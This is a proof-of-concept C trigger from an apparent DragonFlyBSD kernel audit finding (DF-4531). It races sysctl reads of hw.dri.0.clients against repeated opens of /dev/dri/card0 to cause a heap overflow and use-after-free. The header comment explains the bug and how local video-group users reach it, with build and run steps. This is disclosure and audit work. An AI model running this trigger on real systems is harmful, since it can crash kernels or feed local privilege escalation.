โฌข DragonFlyBSD Kernel Audit
DF-4531 / trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-4531 โ€” drm_clients_info() two-pass count/copy race -> heap OOB write
 * =========================================================================
 *
 * Real-world trigger (requires a DRM device on the system):
 *
 *   Thread B (this process): read sysctl "hw.dri.0.clients" in a tight loop.
 *     Kernel: drm_clients_info() walks dev->filelist counting N entries
 *     (under dev->struct_mutex, drm_sysctl.c:268-272), then does a SLEEPING
 *     kmalloc(M_WAITOK) of N*sizeof(struct drm_file) (drm_sysctl.c:274-275),
 *     then walks the list AGAIN copying each entry into that fixed buffer
 *     (drm_sysctl.c:281-282) with no bound against the stale count N.
 *
 *   Thread A: concurrently open() /dev/dri/card0 N more times.
 *     Kernel: drm_open_helper() list_add()s each new drm_file onto
 *     dev->filelist under dev->filelist_mutex (drm_file.c:514-516) โ€” a
 *     DIFFERENT lock than the struct_mutex the sysctl walk holds, so the
 *     growth is not serialized against the sysctl's second pass.
 *
 *   If the list grows between pass 1 and pass 2, pass 2 writes
 *   (growth * sizeof(struct drm_file)) bytes PAST the end of the
 *   kmalloc'd buffer.  The written content is full struct drm_file copies:
 *   attacker-influenced ints (pid, magic, bitfields) plus kernel heap
 *   pointers (idr/list heads) โ€” a repeatable, partially controlled heap
 *   overflow.  The inverse (close() between passes) frees drm_file nodes
 *     the walker still dereferences (kfree at drm_file.c:430 runs outside
 *   both locks) โ€” a concurrent UAF read.
 *
 * sysctl(3) on hw.dri.N.clients is CTLFLAG_RD (world readable,
 * drm_sysctl.c:94); /dev/dri/cardN is 0660 root:video (drmP.h:108-110), so
 * any local user in the "video" group (the standard desktop configuration)
 * has both halves of the race.
 *
 * Build:  cc -Wall -Wextra -O2 -pthread -o trigger trigger.c
 * Run:    ./trigger [seconds]     (default 10)
 *
 * Expected on vulnerable hw: heap corruption / panic within the window;
 * sysctl read output keeps growing. This guest has no DRM device, so the
 * run honestly reports the hardware gate (see run.log).
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static const char *CARD = "/dev/dri/card0";
static const char *SYSCTL = "hw.dri.0.clients";

static volatile int stop;
static unsigned long reads_ok, grow_ok;

/* Thread B: hammer the sysctl โ€” each read drives the two-pass walk */
static void *
sysctl_reader(void *arg)
{
	char buf[65536];
	size_t len;

	while (!stop) {
		len = sizeof(buf);
		if (sysctlbyname(SYSCTL, buf, &len, NULL, 0) == 0)
			reads_ok++;
		else if (errno != ENOENT)	/* ENOENT = no DRM: hw-gated */
			fprintf(stderr, "sysctl %s: %s\n", SYSCTL,
				strerror(errno));
	}
	return NULL;
}

/* Thread A: grow the filelist โ€” each open() is one list_add() of a
 * struct drm_file; each close() is a list_del() + kfree() */
static void *
filelist_grower(void *arg)
{
	int fds[512];
	int i, n;

	while (!stop) {
		n = 0;
		for (i = 0; i < 512; i++) {
			fds[n] = open(CARD, O_RDWR);
			if (fds[n] < 0)
				break;
			n++;
		}
		grow_ok += n;
		for (i = 0; i < n; i++)
			close(fds[i]);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int secs = argc > 1 ? atoi(argv[1]) : 10;
	pthread_t tr, tg;

	/* hardware gate probe, mirrors DF-4362 precedent */
	int fd = open(CARD, O_RDWR);
	if (fd < 0) {
		printf("%s: %s โ€” this system has no DRM device; the race "
		       "cannot be driven here.\n", CARD, strerror(errno));
	}
	printf("trigger: %ds, sysctl=%s card=%s\n", secs, SYSCTL, CARD);

	pthread_create(&tr, NULL, sysctl_reader, NULL);
	pthread_create(&tg, NULL, filelist_grower, NULL);
	sleep(secs);
	stop = 1;
	pthread_join(tr, NULL);
	pthread_join(tg, NULL);

	printf("sysctl reads driven: %lu, open() grow-cycles: %lu\n",
	       reads_ok, grow_ok);
	if (fd >= 0)
		close(fd);
	return (0);
}